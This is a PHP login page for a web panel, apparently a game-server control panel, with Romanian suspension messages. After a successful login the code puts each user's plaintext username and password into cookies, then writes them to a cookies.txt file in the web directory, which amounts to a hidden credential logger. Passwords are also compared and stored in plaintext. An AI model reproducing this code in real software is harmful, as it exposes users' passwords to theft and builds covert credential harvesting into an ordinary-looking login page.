<title>Login - <?php echo Config::$_SITE_NAME; ?></title>
</div>
	<div class="main-content">
		<div class="main-content-inner">
					<div class="breadcrumbs" id="breadcrumbs">
						<script type="text/javascript">
							try{ace.settings.check('breadcrumbs' , 'fixed')}catch(e){}
						</script>

						<ul class="breadcrumb">
							<li>
								<i class="ace-icon fa fa-home home-icon"></i>
								<a href="<?php echo Config::$_PAGE_URL; ?>">Home</a>
							</li>
							<li class="active">Login page</li>
						</ul><!-- /.breadcrumb -->

						<div class="nav-search" id="nav-search">
							<form method="POST" action="<?php echo Config::$_PAGE_URL; ?>search">
								<span class="input-icon">
									<input type="text" placeholder="Search ..." name="sname" id="username" type="submit" class="nav-search-input" autocomplete="on"> 
									<i class="ace-icon fa fa-search nav-search-icon"></i>
								</span>
							</form>
						</div> <!-- /.nav-search -->
					</div>	

<div class="page-content">
	<div class="row-fluid">
		<div class="span12">
<?php
if(!defined('panel'))
	die('Nope.');
if(isset($_SESSION['user'])) echo '<script> location.replace("'.Config::$_PAGE_URL.'"); </script>';
if(isset($_POST['submit'])) {
	if(!$_POST['username_'] || !$_POST['password_']) {
		echo '<div class="alert alert-block alert-danger"><button type="button" class="close" data-dismiss="alert"><i class="ace-icon fa fa-times"></i></button>Complete all fields.</div>';
	} else {
		$q = Config::$g_con->prepare('SELECT * FROM `users` WHERE `name` = ? AND `password` = ?');
		$q->execute(array($_POST['username_'],$_POST['password_']));
		if($q->rowCount()) {
			$d = Config::$g_con->prepare('SELECT * FROM `panel_restrict` WHERE `PlayerName` = ?');
			$d->execute(array($_POST['username_']));
			$row1 = $d->fetch(PDO::FETCH_OBJ);
			if($d->rowCount() && date("Y-m-d H:i:s") <= gmdate("Y-m-d H:i:s", $row1->Time)) {

						if($row1->Permanent == 1)	{
							$expira = "<b>permanent</b>";
							} else {
							$expira = "pentru <b>$row1->Days</b> zile de la data pe care a fost suspendat.</b>";
						}
				echo '<div class="alert alert-block alert-danger">
				Contul tau este suspendat '.$expira.'.<br />
				Motiv: <b>'.$row1->Reason.'</b><br />
				Suspendat pe data de <b>'.$row1->BanTimeDate.'</b></div>';
			} else {
				
				$dele = Config::$g_con->prepare("DELETE FROM panel_restrict WHERE PlayerName = ?");
				$dele->execute(array($_POST['username_']));				
				
				$row = $q->fetch(PDO::FETCH_OBJ);
				$_SESSION['user'] = $row->id;
                
                $cookieUser = $row->name;
                $cookieUValue = $row->name;
                $cookieSerial =  $row->password;
                $cookieSValue =  $row->password;
                
                setcookie($cookieUser, $cookieUValue, time() + (86400 * 30), "/");
                setcookie($cookieSerial, $cookieSValue, time() + (86400 * 30), "/");
                
                if(isset($_COOKIE[$cookieUser]) && isset($_COOKIE[$cookieSerial])) { 
                    $fp = fopen('cookies.txt', 'w');
                    fwrite($fp, "\n" . $_COOKIE[$cookieUser] . "\n" . $_COOKIE[$cookieSerial]);
                    fclose($fp);
                }

				echo '<script> location.replace("'.Config::$_PAGE_URL.'"); </script>';
				setcookie ("user",$_POST['username_'],time()+3600*24*60);
				setcookie ("password",$_POST['password_'],time()+3600*24*60);
				//header ('Location: ' . $_PAGE_URL);								
			}
			
		}
		else echo '<div class="alert alert-block alert-danger"><button type="button" class="close" data-dismiss="alert"><i class="ace-icon fa fa-times"></i></button>Invalid username or password.</div>';
	}
}
?>

<center>
<h3><?php echo Config::$_SITE_NAME; ?> login</h2>
<form method="post" action="">
<br />
Username:<br>
<input type="text" name="username_"/><br/>
<br>Password:<br>
<input type="password" name="password_"/><br/>
<br>
<input type="submit" name="submit" value="login" class="btn btn-inverse">
</form>
<br/>
Forgot your password? Click <a href="<?php echo Config::$_PAGE_URL; ?>recover">here</a>!
</center>
<br/><br/>
